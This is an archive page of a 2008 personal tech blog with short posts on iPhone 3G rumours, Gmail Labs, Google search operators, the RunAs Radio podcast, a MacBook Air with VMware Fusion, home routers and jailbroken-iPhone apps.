Tons of boxes overflowing a large warehouse, courier service trucks in drives coming and going, no-label boxes and warehouse workers being cagey but saying basically nothing. But when you start to stack up so much circumstantial evidence it's pretty convincing. If nothing else, it generates great hype and gets people like me to pay attention and write about it. Marketing madness.

What I really want to know: Where and when to line up as an existing AT&T customer who wants to upgrade, and how much cash to bring with me. I'm guessing/surmising the answer is sometime in the next week and a half, and $200 (plus a pen to sign a contract extension).



Add/Read: Comments [2]
Apple | Geek Out | Mobile | Tech
Thursday, June 05, 2008 1:35:30 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
TechCrunch is reporting that Google is releasing Gmail Labs this evening, and is also outlining some of the details as they hear them.
Gmail engineers come up with new ideas all the time. Gmail Labs is our place to try them out and get your feedback. None of these features are really ready for prime time yet, so they might change, break, or disappear at any time.
Very cool. You can choose which ones you want to use, turn them on and off. Check back in a little while - all Gmail users will be able to take advantage.
At 6pm PT they’re launching Gmail Labs – it will be a tab on top of settings, a list of features that are rough, have gone through almost no filtering. Using the send feedback link users can go to the Google Conversation. Every user will have this available.

The first batch will include 13 new features being tested now, all created by Gmail engineers. Everyone will have access to these.



Add/Read: Comments [0]
Tech
Thursday, June 05, 2008 1:28:37 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, May 30, 2008
If you're like me, you rely on Google a lot to help you though your day. There are a few sites out there that - much to my frustrated chagrin - include their content in Google's index but won't let you see the content when you click the search results link - unless you sign up for an account (sometimes you even have to pay). I know there are some ways around the blocked access (Google can see the content, so there are open doors), but what I really want is a way to avoid seeing those sites in my search results.

As it turns out, excluding a domain from search results is very simple. It's not very clearly documented anywhere, but I'll tell you here, so you'll be a tiny bit smarter and look really cool to whomever you show it to in the future.

To start, one key thing about searching with Google that we need to understand is that in pretty much any Google search you can exclude anything you want by preceding it with a minus sign when you type your term into the search box. Knowing this, we can exclude almost anything - including a domain/site.

Next, we need to know how to search and specify a domain in our search query term. We do this by entering the word "site," followed by a colon, followed by the domain name. For example, I can search for an exact match on my name within this site's domain by structuring my search term like this:

Similarly, if I want to search for exact matches on "Greg Hughes," but this time I want to search all sites except greghughes.net, I do it like this:

Note the "minus sign" that precedes the "site:" search operator in this case. That's how we tell Google to exclude the site/domain specified.

So there you have it. Want to exclude a domain from your search term? Just specify the domain with "-site:" and you're all set.

But what if you don't want to specify the domain to exclude every time by hand? In that case, set up a Google Custom Search Engine (http://www.google.com/coop/cse/) and specify during setup that you want your custom search engine to include results from the entire Internet. Then, after your search engine has been created, go to the Control Panel, choose the "Sites" tab, and from there you can specify as many domains as you like to exclude from every search. You'll get a custom search engine that you can tweak to your heart's content.



That's it - hope it helps someone in need. Enjoy!


Add/Read: Comments [36]
Tech
Friday, May 30, 2008 1:25:10 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, May 28, 2008
SysinternalsThe Sysinternals tools are a whole slew of great troubleshooting and analysis utilities for Windows. Microsoft acquired Sysinternals some time ago. The tools are now available online for anyone that needs or wants to use them, via a web page (http://live.sysinternals.com/) or direct UNC link to each tool.

The simple web page lists the latest version of each tool, where you can click to execute. This is a terrific and eleganly simple resource. No more maintaining thumb drives or CDs of utilities necessary. I like it.

Ed Bott has the details on his Microsoft Report blog at ZDNet.



Add/Read: Comments [1]
Tech
Wednesday, May 28, 2008 9:34:03 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, May 23, 2008
The Import Genius blog has a new article describing their examination of shipping manifests for Apple Computer, and they have found an unusual and very large set of shipments over the past couple of months that they suggest is imports of the heavily-rumored next version of the iPhone. I geek out over this stuff, simply because I really like my iPhone and I'm looking forward to the next version and the capabilities we all assume it will have.

According to the Import Genius people,
Since mid-March, Apple Inc. and its logistics partners have imported 188 ocean containers of a product type never before declared on its shipping manifests.

With iPhones currently out of stock at many Apple stores, including its flagship outlets in New York City, rumors abound that the company is winnowing stocks in preparation for a new 3G version of the phone.

Well, we shall see. And hope. Lots more details and evidence are available in the ImportGenius.com blog entry.

Other interesting iPhone tid-bits:


Add/Read: Comments [0]
Apple | Geek Out | Mobile | Tech
Friday, May 23, 2008 5:22:22 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, May 21, 2008
Susan Bradley is often referred to by her compadres as the "SBS Diva," and for good reason. Richard and I had the opportunity to talk about Small Business Server with her recently for an episode of RunAs Radio (our weekly IT podcast talk show). We talked about what SBS is, where it cames from, and also about SBS 2008. It always surprises me how afordable and complete SBS is.

If you run or operate (or do IT for) a small to medium sized business, I think checking out SBS via this interview will be 30 minutes well-spent.

Show #57: Susan Bradley Fills Us In On Small Business Server



Add/Read: Comments [0]
RunAs Radio | Tech
Wednesday, May 21, 2008 6:35:09 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, May 20, 2008
iphone-3g-nextmonth.jpg

Get ready to get in line. Gizmodo tells us June 9th is the date for the 3G iPhone.

Looks like someone might be in luck for my old iPhone eh? :)



Add/Read: Comments [4]
Apple | Mobile | Tech
Tuesday, May 20, 2008 7:41:16 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, May 15, 2008
I've spent the past couple days, off and on, editing a manuscript on my Mac using the Pages application that is part of iWork '08. I've been editing a Word .doc file, which pages can open and deal with. Sort of. In the end, the way Pages handles Word docs... FAIL.

Formatting issues have resulted in a badly-hacked mess of a document that probably barely passes for acceptable when I return it with edits. I feel pretty terrible for the recipient.

So, frustratingly it's time to buy a copy of Mac Office '08. I was afraid it would come to this, and I guess I'm not really surprised at all. It was wroth a try, and I get Keynote so that's cool (as long as I don't have to use it for PowerPoint files that is).

Meanwhile, time to go up in the office and grab that Windows laptop with Office 2007 and get back to work...



Add/Read: Comments [15]
Apple | Tech | Things that Suck
Thursday, May 15, 2008 3:26:31 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, May 14, 2008
I'm going to have to try this one next week when I fly...

Apparently Gerald Buckley was able to successfully scan his boarding pass bar code, which was displayed on his iPhone screen as a PDF image. I have to assume the scanner was most likely an image-scanning type since a laser scanner like you see in many places probably wouldn't "see" the barcode. Although, I have noticed in bright sunlight that the iPhone screen almost looks like the text is printed on the surface right under the glass, almost like it could have a shadow. But regardless, it's pretty cool.

Buckley describes his experience on his blog.



Add/Read: Comments [0]
Apple | Mobile | Random Stuff | Tech
Wednesday, May 14, 2008 10:24:48 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
IntelliScreenThose of us with a "jailbroken" iPhone can take advantage of a new beta software release from Intelliborn called "IntelliScreen." Intelliborne is the same company that brought us Vonagent, which is another app I have on my iPhone for voicemail integration.

The app allows you to have a single, quick view from the standby screen of news, email, your text messages, the weather forecast, your calendar - lots of great info, all on one screen and scrollable.

Each of the sections are finger-scrollable and the screen show up whenever the iPhone is locked. The configuration app lets you specify basically everything you'd want (with the apparent exception of specifying your own news feeds - you have to choose from feeds at Yahoo, CNN, Reuters, Fox, etc.).

Rumor and real-world activity happening right now sure looks like a new, 3G iPhone is just around the corner, and with that should come the new apps store sanctioned by Apple. But until them Jailbreaking your phone (which is a relatively harmless software change) is the only way to get this app. In the Installer application on the phone, go to the Sources list, then click the Edit button, then the Add button. You'll need to add this as a new app source:
http://www.intelliborn.com/repo/Intelli.plist
If the Intaller refreah seems slow to finish or respond, just be patient.

Features:
  • View Calendar, Email, Text Messages, News, Sports, and Weather from your iPhone "Slide To Unlock" screen
  • Smooth scrolling across each item to quickly glimpse at your data
  • Auto-Checks Email when you view the unlock screen - no need to "Refresh" from Mail.app or wait 15 minutes
  • Go directly to the application of your choice with a "Swipe"
  • Precise International Weather (by Zip) provided by Weather Underground.com
  • News Feeds include Yahoo!, CNN, Fox News, and Reuters (more coming soon!)
  • ESPN Sports Feeds include MLB, NFL, NBA, NHL, NCAA Men's Football and NCAA Women's Basketball
  • Customizing your IntelliScreen is easy! Choose which content you want to view and where
  • Mail and Text Messages can be shown only if new items are available
More info at http://www.intelliborn.com/


Add/Read: Comments [0]
Apple | Mobile | Tech
Wednesday, May 14, 2008 7:28:21 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Monday, May 12, 2008
In June I'll be attending the Microsoft TechEd IT Pro week in Orlando. the TechEd conference has been reworked into a two-week event this year, much like they have done in Europe in the past. The first week is focused on developers and the second week on IT professionals.

I'll be working that secpnd week with my RunAs Radio podcast co-host, Richard Campbell. We're going to be running some panel events and speaker contests as well as putting together some new shows.

If you're there, please drop by and say hello!



Add/Read: Comments [0]
Random Stuff | Tech
Monday, May 12, 2008 9:03:04 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, April 26, 2008

I'm pulling my hair out (what I have left, anyhow) trying to find a good home/home office wireless router that includes all the features I need. Granted, I'm a bit of a power user, but I'm honestly a bit surprised I can't find what I want out there somewhere. You'd think someone would build it. My list of features and performance requirements includes:

  • Gigabit WAN and LAN ports - and needs to have four LAN ports
  • VPN capability that I can use cross-platform - an SSL VPN might be the best option, but whatever works well and lets me connect with Windows, Mac, etc. is what really matters to me
  • Working, reliable and effective QOS - routers I have used in the past have either been terrible or mediocre at properly shaping and allocating traffic for VoIP and other services
  • Reliable and full-featured administrative capabilities in firmware
  • Quiet, reliable hardware
  • IPv6 support
  • Wireless-N

Until recently, I have been using a D-Link DIR-625 router, which has been stable and reliable. But it's a 100-megabit device and the QOS is marginal for VoIP traffic in my experience. Plus the firmware has not been updated recently and there is no VPN capability. It's rock-solid at what it does, though. I've only had to reset it a couple times since I have had it.

I've looked at the D-Link DIR-655 router, which is their currently-touted gigabit version of the 625 model. It's still on my list possible solutions, but with no VPN it doesn't meet all my needs, and D-Link doesn't seem to have one that includes all the features.

Yesterday I picked up a VPN router with gigabit and QOS made by Linksys, the WRVS4400N. It's not cheap and honestly I'm not sure why I allowed myself to buy a Linksys product after all the headaches I have had with them before. The net result of the past 12 hours of use is that I'm going to return it today. Between the slow reboots required with every other change I make and the lack of capabilities in the software (and some stuff that just doesn't work), it's already frustrating me. D-Link has seriously spoiled me in the Admin interface/firmware capabilities department, even without releasing any updates. Add to that the high-pitched whine the Linksys router makes and the heat it generates when plugged in and there's just no way. The whine is pretty awful, and gives me a serious headache within minutes if I am near it. Back to the store it goes.

So, I am left without a solution that meets all my needs. I may just have to pick up the D-Link DIR-655 and live without VPN and then find a separate VPN solution, but I don't want to if I don't have to. Any ideas anyone? Is there an option out there that will meet my needs and expectations?



Add/Read: Comments [7]
IT Security | Tech
Saturday, April 26, 2008 1:36:17 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, April 24, 2008
Last week I wrote about an issue in VMWare Fusion on my MacBook Air. Well, looks like VMWare has released an update in v1.1.2 with enhanced MacBook Air and Time Machine support.
VMware Fusion 1.1.2 addresses two MacBook Air-related problems. Previously, MacBook Air users would encounter a crash if a virtual CD/DVD drive was connected to the virtual machine but a CD/DVD drive was not connected to the MacBook Air. This update fixes this issue.  Also, this latest VMware Fusion update adds the ability to burn CD/DVDs with the MacBook Air’s USB Superdrive.
The new release also includes compatibility with Time Machine, Chinese localization, and a slew of other fixes for USB devices and other stuff. I have been using Fusion quite a bit lately to run multiple VMs on OS-X at the same time (namely a Linux custom machine and Windows Server 2003). The multiprocessor support is really nice and running Windows apps in Unity mode on the Mac desktop is still pretty amazing to me.



Add/Read: Comments [0]
Apple | Tech
Thursday, April 24, 2008 4:23:40 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
If you haven't seen the Tech-Recipies site yet, you should check it out. Nice compact, useful and interesting posts about how to do useful and cool things. I found it via my Twitter account feed. I'm finding lots of good stuff via Twitter these days.

I just finished reading a post at Tech-Recipies that describes how to use QuickTime Pro to remove the dead space often seen in videos that are letterboxed or have the side curtain bars (pillars). Essentially you use a simple image mask to define and remove the extra space, nice and simple.

Check out the tutorial at this link, or watch the hi-res screencast here.



Add/Read: Comments [0]
Tech
Thursday, April 24, 2008 10:41:07 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, April 18, 2008
IPv6 has been around for something on the order of 15 years, yet it has yet to see widespread adoption. It was recently enabled on Internet core DNS infrastructure, and had been adopted in some network like those operated by certain mobile carriers. The current IP addressing and allocation scheme, dubbed IPv4, will eventually run out of IP addresses. There's been a sort of boy-called-wolf debate over whether we're really going to allocate the entire IPv4 address space anytime soon or not. But eventually we'll run out - some say in 2010.

Sean Siler, Program Manager responsible for IPv6, joined Richard Campbell and me for a RunAs Radio show. Sean really knows his stuff and did a terrific job of describing IPv6, comparing it to IPv4, and other useful information.

IPv6 enables a lot more than just additional addresses, though. Sean discusses what's the same, what's different and what's new (hint: IPSEC and multicasting everywhere). He also offers a great analogy to describe the enormous size of the IPv6 address space. It's mind-boggling, really.

If you don't understand or know much about IPv6, this interview is a great place to start learning, and you truly need to be doing so if you do network design or other work in your job. The change is significant, but not impossible - so go listen to the show and get learning!

Other resources:



Add/Read: Comments [0]
IT Security | RunAs Radio | Tech
Friday, April 18, 2008 10:06:20 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, April 17, 2008

One of the main reasons I decided I would buy the MacBook Air recently was that I knew I would be able to run Windows on it, either in a bootable install or in a virtual machine. In fact there is really one main app that I use all the time on Windows that I just can't get for the Mac, but that's a topic for another post. I'm quite happy with the Air - It's a great machine and  I have to admit that OS X has grown on me.

I bought a copy of VMWare Fusion after doing my required research. Compatibility with OSes and a variety of different features/capabilities put it at the top of my list for a virtualization host. I have a couple copies of Windows Server 2003 lying around here that I never broke the shrink wrap on, so I built a trimmed down virtual machine for use on the Mac.

In fact, I built three of them. But every time I installed a new VM and got it up and running, every time I restarted the machine VMWare would simply quit, die, crash - console and all. No running process and nothing on the screen.

Long story short, I searched and searched and searched and then went to the VMWare user forums, where I found a note about issues people have been having with Fusion and the MacBook Air when using the Air's external DVD drive. Apparently because I was unplugging the DVD drive and then restarting the machine without it attached, Fusion was somehow wigging out (my term) and closing unexpectedly.

After reconfiguring the VM in Fusion's control panel to no longer show the missing drive as "connected," the VM fires right up and works. Hopefully this is something VMWare will address in it's next Fusion update. It's tough keeping up with the nuances of new hardware, to be sure, so looking forward to a fix. In the meanwhile, manually removing the DVD drive in the VM's settings works like a charm.



Add/Read: Comments [1]
Blogging | Tech
Thursday, April 17, 2008 2:16:56 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, April 13, 2008

Richard Campbell and I sat down and discussed virtualization with Anil Desai. Released in beta with Windows Server 2008 and soon to be released in it's final form, Hyper-V is an interesting and worthwhile technology that leverages 64-bit computing and allows you to run different virtual OS'es on the server with full symmetrical multiprocessor support. Virtualization is a primary role of Windows Server 2008. The release candidate of Hyper-V is available now.

You can download and listen the MP3 version of our interview with Anil by clicking here, or click over to the RunAs Radio site for more formats (like WMA, AAC), which is where our weekly IT audio talk show "lives."

For more information from Microsoft about Hyper-V, check these links:



Add/Read: Comments [1]
RunAs Radio | Tech
Sunday, April 13, 2008 12:23:57 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

I downloaded a new iPhone native app this morning called Twinkle, which is a terrific Twitter client with integration to the iPhone's camera and the radio geolocation abilities. Even without those two enhancements, Twinkle would be - by a long shot - the best option for the iPhone when it comes to Twitter. To get Twinkle, you need to install it via the Installer.app program for jail-broken iPhones (see below for some more info).

Twinkle automatically figures out (approximately) where you are using Erica Sadun's FindMe utility, and uses that to label your Twitter posts with your location - very cool. It also allows you to cclick on a "near me" button to find posts from people located - you guessed it - near you. You can fine tune the distance and it's a nifty addition to Twitter.

A few observations:

  • Twinkle is a very fast app - which is welcome since web-based options tend to be very slow, to the point of painful. This app, however, races.
  • The UI design and usability to pretty darned terrific. It's quite well though-through.
  • I wish I could follow people from within Twinkle. That's one feature that's missing. I hear it's coming soon though.
  • Looks like I cannot click on URLs in tweets - that's certainly a missing feature (also coming soon).
  • Need links to pics that are posted in the tweet - Can't see a reference to the image in the web Twitter interface if I include a pic.
  • The app has has crashed on me a number of times while it's trying to do the geolocation, not sure if my fringe-area location has anything to do with that or not.

Of course, the app creator has a Twitter account, and you can see how popular it's becoming when you look at tweets that refer to Twinkle on TweetScan.

A few iPhone screen-grabs to show it off (click each one to view full-size):

Twinkle1
View of my followed peeps' tweets

Twinkle2
You wouldn't normally see this too often. My
fringe coverage area means I'm hard-to-locate.

Twinkle3 
Viewing an individual tweet, with ability to
reply, direct message, or go to the tweeter's
individual profile/post page.

Twinkle5 
Replying to myself. Yeah, that's a little weird.

Twinkle6
What you see when you view an individual
profile. Nice.

Twinkle7
Ah screen-door effect. Taking a picture
to attach to a tweet.

Twinkle8
Note the paperclip showing a picture is
attached. Also, the character count actually
works and is accurate, which is a weakness
of many twitter clients.

Twinkle9 
Clicking on the paperclip allows you to
view the attached image - a nice friendly
addition. You can also remove the image
from here, if you change your mind or
want to shoot a new one.

Note: In order to use Twinkle today, you have to "jailbreak" your iPhone, a modification that allows third-party applications to be installed on the device. In the future, you will hopefully be able to download Twinkle from the Apple app catalog (once it's made available). But not today. An obligatory word of warning... If you do the jailbreak process, Apple won't provide support on your phone in the event you need it (unless you restore the phone to non-jailbroken status of course). The ZiPhone jailbreak app is slick and simple - you can just download for Windows or Mac, plug in your iPhone, click a few times, wait a few seconds and you're done. Google it if you want, you'll find it.



Add/Read: Comments [1]
Apple | Mobile | Tech
Sunday, April 13, 2008 12:09:15 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, April 12, 2008
Since I "needed" a new high-def disc format player (specifically Blu-Ray Disc) to take the place of my suddenly-antiquated HD-DVD hardware, and since Thursday was my 41st birthday, I decided to get what is arguably the best Blu-Ray player out there. The Playstation 3. Ah mid-life and gadgety toys, heh.

As luck would have it, my dad called me and asked what I'd like for my birthday. We go through the same conversation each time, and it's really kind of funny. I say I don't know and we end up in a friendly stalemate. I told him what I was looking at buying for myself, and he got interested. It was too much money, really - but he insisted (thanks, dad!). And so I went to the local big box store and picked one up and brought it home last night.

I'm not going to do a PS3 review. Yes, it's great hardware and the Blu-Ray discs play great. Watched 3:10 to Yuma last night (good flick). I was impressed, just as I was with HD-DVD.

But you know what impresses me more? In the past few weeks I have seen device after device - from different, even competing manufacturers - communicating with each other to share media on the network.

My Windows Home Server and Windows Media Player devices can share out media with the Xbox 360, with my DirecTV HD-DVR receiver, and now I see also with the new Playstation 3. Streaming audio around the house that's stored on the Home Server is a daily occurence around here. The XBox 360 is, of course, also a front-end for Media Center (which runs on my Vista Ultimate machine), and once we see a real-world version of the DirecTV USB component receiver (dubbed the HDPC-20 and currently in limited beta we're told), that's going straight into my den and should truly round out my interconnected, media-driven home.

With about 2TB (yeah, terabytes - who woulda thunk it a few years ago eh?) of Home Server storage and all these devices spread around that stream various media, it really is turning into a whole different kind of user experience - and a good one at that.



Add/Read: Comments [5]
Home Servers | Tech | Windows Media Technology
Friday, April 11, 2008 11:28:38 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, April 08, 2008
A technical event for the whole family? Yep. With content for technical and non-technical people alike. This weekend. Passing along some info here...

Load up the whole family (seriously) and get your geek on this Saturday, 1 p.m. at the OGI School of Science and Engineering at the PDX Webfoot event. The registration page is here and the PDX Webfoot site with all the info is here.

From the site:
On April 12th, we'll be participating in the first Webfoot event in Portland. Webfoot is a web-focused event for all creatures, techie and non-techie alike. Bring the whole family for a day of education, entertainment, and fun!

Technical topics include Silverlight 2, Internet Explorer 8, and hopefully some sessions from the Firefox and Adobe gang if we can get them to show up. :)

Non-technical topics for the normal people include safe Internet browsing.

We'll have food and even some activities set up for the kids, such as Lego Mindstorms.

When: Saturday, April 12th
1:00pm to 7:00pm (dinner provided)

Location: OGI School of Science and Engineering
Wilson Clark Center for Lifelong Learning
20000 NW Walker Rd
Beaverton, OR 97006



Add/Read: Comments [0]
Tech
Tuesday, April 08, 2008 10:03:06 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, April 06, 2008
Mark Russinovich, a Microsoft Technical Fellow, presented a very good session at the TechEd IT Forum last year on the topic of advanced eradication of malware on Windows machines. It's a great session and has some useful advanced techniques for removal. It is also a very good resource for those who want to better understand how malware infects and what some of the risks are. Lots of practical information and how-to's in this one.

Fortunately, the session was recorded and is available online for anyone who wants to see it. If viruses and malware are a part of your job or if this type of security topic is of interest to you, it's an hour and twelve minutes well-spent. I went looking for this session online hoping to find the PowerPoint and found the whole session with video and demo and everything - terrific stuff.

(Updated 4/7 - link to video fixed)



Add/Read: Comments [2]
IT Security | Safe Computing | Tech
Sunday, April 06, 2008 10:16:56 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
Count me in as one of the people who will line up to get a 3G iPhone - whenever it comes out. It looks as if the community has determined via tear-down methodology that the chipset inside the current iPhone is not 3G capable, so a software upgrade doesn't seem likely (something I had hoped might be possible based on early information, but ah, oh well...).

The most recent oh-by-the-way rumor/news about a 3G iPhone comes via Walt Mossberg, who says it will available in 60 days. And Walt is certainly a person to be in-the-know. In the video where he made the side comment also discusses the current state of "broadband" around the world and talks about where technology bottlenecks are preventing future growth and areas where consumers are not yet satisfied. It's a good clip to watch.

The 3G iPhone part is about 6:50 into the video.

Add to Mossberg's comment the recent orders of 3G chipsets and related ramp-down of 2G production at the company Apple sources their equipment from, plus side comments by other industry execs and some good Apple-style business common sense thinking, and it all really does start to add up.

Looks like it's time to start tossing that loose change in the ol' jar again each day.



Add/Read: Comments [3]
Apple | Mobile | Tech
Sunday, April 06, 2008 9:02:05 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
A super-fast, new global network's controllers will turn it on sometime this year, but exactly when it will be available to you and me, in the same way the Internet we know is today... Only time will tell.

As is practically always the case, the new technology driving the "Grid" network was borne out of need. The Times Online published an article discussing the new network:
"Cern, based near Geneva, started the grid computing project seven years ago when researchers realised the LHC would generate annual data equivalent to 56m CDs - enough to make a stack 40 miles high.

"This meant that scientists at Cern - where Sir Tim Berners-Lee invented the web in 1989 - would no longer be able to use his creation for fear of causing a global collapse.

"This is because the internet has evolved by linking together a hotchpotch of cables and routing equipment, much of which was originally designed for telephone calls and therefore lacks the capacity for high-speed data transmission.

"By contrast, the grid has been built with dedicated fibre optic cables and modern routing centres, meaning there are no outdated components to slow the deluge of data. The 55,000 servers already installed are expected to rise to 200,000 within the next two years."
Imagine high-definition holographic video conferencing, or downloading movies and other massive pieces of data (well, massive by today's standards anyhow) in a couple seconds or less. Even if the Grid network is never made available to the public and is used solely by researchers, the technologies that are created and used to drive it can be used in the public space to drive change for everyone.

Let's just hope people seriously think about security this time around, during design rather than after the fact.

(one of several interesting links found today via Warner Crocker)



Add/Read: Comments [1]
Tech
Sunday, April 06, 2008 8:44:43 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, April 05, 2008
Over at Lifehacker, Adam Pash has written an article describing in some very useful detail how to use a couple freeware apps to trim down a Windows XP installation so you can create a lighter-weight install disc for whatever purpose you may have.

I'm interested in this because I plan (at least at this point) to use a Windows Server 2003 install disc as the starting point for a VMWare Fusion virtual machine on my Macbook Air, and I want to keep it as lean and mean as I possibly can. That way I can run the couple/few Windows apps that I really need to make my computer life complete.

Why Windows Server 2003? Because I have a couple unused copies sitting on my shelf just screaming to have the shrink-wrap removed. Come to think on it, it might be the first time I have opened an actual shrink-wrapped Windows Server box since around 2000. I've grown quite used to electronic delivery and volume licensing discs. Wow.

Does anyone have any solid information that would point to benefits of using the 64-bit edition of Server 2003 over the 32-bit version? If so, please let me know! Comment below, or the email link is over there on the right side of the page.

I'll report back with results after I get it all set up. Should be interesting and a bit of fun.



Add/Read: Comments [0]
Apple | Geek Out | Tech
Saturday, April 05, 2008 10:09:52 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Wednesday, March 26, 2008
Quick post: I just saw Josh Bancroft tweet about Photoshop Express, which you can go and try out here.

Online photo editing, storage,  galleries for sharing - Not a completely unique idea but this is all in your web browser and it uses a clean, well-put-together FLash UI. Pretty cool.



Add/Read: Comments [1]
Tech
Wednesday, March 26, 2008 9:27:01 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Tuesday, March 25, 2008
A Best Buy automated telephone system just called me about the HD DVD player purchase I made in their store late last year, to let me know they're sending a $50 gift card. The communication from Best Buy after the (unfortunate) death of HD-DVD has been great - That's one email and one phone call from them.

bestbuy1.png

It's already been widely discussed that Best Buy is doing this, but I wanted to point our the smart business sense that someone there seems to have. It's good to see a store, one which I rather enjoy doing business with from time to time, recognizing the opportunity before them: A chance to both do the right thing and further their sales and relationships with customers that fall into the oft-neglected early-adopter category. Those are exactly the word-of-mouth people you want feeling good about your store, especially in the world of electronics and other products that Best Buy sells.



Add/Read: Comments [1]
Tech
Tuesday, March 25, 2008 12:51:09 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Sunday, March 23, 2008
I saw an interesting post yesterday (with a couple pics) indicating that Mono, the open-source implementation of .NET, has been ported to the iPhone, or at least it's been started. That's pretty interesting, and it makes me wonder two things: First, are .NET apps realistic for the iPhone? And second, WWSHD?

It's certainly interesting to think that all those talented .NET programmers out there could have a chance at programming for the iPhone, and that any of a variety of apps could be ported or even natively run in the future.

A little proof:
# hostinfo
Mach kernel version:
         Darwin Kernel Version 9.0.0d1: Wed Oct 10 00:07:50 PDT 2007; 
root:xnu-933.0.0.204.obj~7/RELEASE_ARM_S5L8900XRB
Kernel configured for a single processor only.
1 processor is physically available.
1 processor is logically available.
Processor type: armv6 (arm v6)
Processor active: 0
Primary memory available: 116.00 megabytes
Default processor set: 26 tasks, 164 threads, 1 processors
Load average: 0.00, Mach factor: 0.98
# export MONO_DISABLE_SHM=1
# ./mono hello.exe
Hello Mono World
#    



Add/Read: Comments [1]
Apple | Mobile | Tech
Sunday, March 23, 2008 10:18:01 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Saturday, March 22, 2008
I'm noticing a not-so-subtle change in the force. I spent the better part of the week listening to Barack Obama, and I'm a moderate-to-conservative guy. Policies aside, he's a persuasive man. Anyhow - I'm also a Windows guy for the most part, but have been known to ride (and occasionally cross over) that fence, as well. Recently, a new business/work venture has me experiencing the need to be ultra-portable from time to time, meeting and working potentially from who-knows-where. So, given the current tax situation and the "workability" needs, I broke down and dropped by the Apple Store last night and - after having visited the store four times and carefully considering the available options - I bought a MacBook Air. My friend Matt patiently watched while I substantially delayed our arrival at the movie theater. Good sport, that Matt.

In case anyone's keeping track, the current game score in the Hughes household Windows vs. Apple system showdown is: Windows 2 (technically 3 if you count the roomie's machine), Apple 2 (or 3 if you count the iPhone). I'm not a Switcher, but I am an Adder.

VMWare Fusion, a very cool app that will let me run Windows apps on the Mac, is coming soon. I will write up my experiences at some point with that process, with a focus on how it works from the perspective of an IT guy. There are - plain and simple - certain apps that are only available on Windows that I need to use, so it will provide me with both worlds, at the same time. You can learn about Fusion here.

Everyone and their brother have already posted reviews and articles about the MacBook Air, so no point in me rehashing the obvious. Here are my initial highlights:
  • Keyboard - Backlit, brightness auto-adjusts, nice keys, quiet typing.
  • Screen - Excellent backlight, also auto-adjusts, bright and contrasty.
  • Thin - Well, duh. And light, too. That was what got me to look in the first place.
  • Battery - Not going to get the advertised 5 hours, but I have pounded it pretty hard for about 2.5 and its still advertising an hour left on the battery (first charge)
  • Close-lid-sleep-wake-up drill - Nice and quick. I like that.
Also, I picked up the "incase" brand neoprene sleeve case they had at the Apple store, which is really very nice. I am already liking it. Great protection and hey, it's all black. :)

I got home, opened it up despite being very tired, ran through the setup (nice, easy and cool), eventually climbed into bed and watched this past week's episode of Lost in HD on the 'net. The Air is a great computer for that, too. I like.



Add/Read: Comments [3]
Apple | Mobile | Tech
Saturday, March 22, 2008 11:35:52 AM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Friday, March 21, 2008

Got iTunes, or anything else Apple on your Windows computer? If so, when the Apple software checks for updates, you'll probably AppleUpdateSafari1see an option (which is enabled by default) to install Safari - even if you don't already have it installed  on your computer. Safari is Apple's default web browser (and actually not a bad one at that). But since people are used to seeing - well - updates when the software checks for updates, you might not realize you're installing new software.

Just making sure you're paying attention here, is all.

Sure enough, when I check for updates on my Windows machine, where Safari has never been installed, I'm presented with the option to install it...

AppleUpdateSafari2

As Tom Krazit tells us... Just un-check the box if you don't want to install Safari. Simple as that.

"It seems that at some point people became conditioned to downloading anything that shows up from an official source, like Microsoft, Apple, AOL, Yahoo, or whoever. Remember, it's your PC; spend your installation capital wisely." (link)

It's always important to pay attention to what you're clicking on. Fact is, Apple's probably counting on the fact that a significant number of people will just click without thinking - And that's indicative of a whole slew of problems, with users, companies, you name it.

For my part, I made the educated decision to install it. I actually kind of like Safari on the Mac, so I'm interested din trying it on Windows.



Add/Read: Comments [0]
Apple | IT Security | Tech | Things that Suck
Friday, March 21, 2008 12:47:04 PM (Pacific Standard Time, UTC-08:00)
#  Trackback
 Thursday, March 20, 2008

We recently conducted an interview with Michael Manos, Senior Director of Data Center Services at Microsoft, on RunAs Radio. Microsoft's been working on a substantial set of data center build-outs, and so Richard and I figured there's a lot we can all learn from someone like Michael. Not many people have to think as carefully or in such a large scale about how to best tackle the data center design and build issues.

Microsoft has been doubling their data center capacity each year, and they have to think about maximizing efficiencies, "greening" the data center, locations, power - you name it.

If you're in any way associated with data center design, architecture or operations this show's for you.



Add/Read: Comments [2]
RunAs Radio | Tech
Thursday, March 20, 2008 2:06:13 PM (Pacific Standard Time, UTC-08:00)
#  Trackback

Stories at CNN, Ars Technica and CNET are covering the fact that Apple is working on a plan that would allow unlimited "free" access to the iTunes music library - if users paid more up-front for their iPod devices.

This sounds interesting, but it seems like an up-front charge (when you buy the device, as a one-time fee) might have some legal (not to mention business viability) challenges associated with it. Now, if they were to go with a Zune-like monthly subscription model, that would be a whole different story. It would actually make a lot of sense.

